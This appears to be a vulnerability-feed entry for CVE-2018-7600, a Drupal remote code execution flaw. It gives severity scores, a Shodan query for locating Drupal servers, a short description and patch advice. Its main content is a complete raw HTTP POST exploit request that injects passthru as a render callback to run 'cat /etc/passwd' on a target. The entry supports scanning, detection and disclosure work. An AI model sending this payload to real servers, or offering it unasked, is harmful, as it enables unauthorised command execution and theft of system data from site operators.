| Title | Drupal - Remote Code Execution |
|---|---|
| Author | pikpikcu |
| Severity | Critical |
| Impact | Critical |
| Remediation | Upgrade to the latest version of Drupal or apply the official patch provided by Drupal security team. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94489 |
| CVE ID | CVE-2018-7600 |
| CWE ID | CWE-20 |
| Shodan Query | http.component:"drupal"cpe:"cpe:2.3:a:drupal:drupal" |
| Tags | cve cve2018 drupal rce kev vulhub intrusive vkev vuln |
Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Content-Length: 631
Accept: application/json
Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663
Referer: www.victim.com/user/register
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#post_render][]"
passthru
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#type]"
markup
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#markup]"
cat /etc/passwd
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="form_id"
user_register_form
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="_drupal_ajax"
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-7600.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-7600.pcap
N/AN/A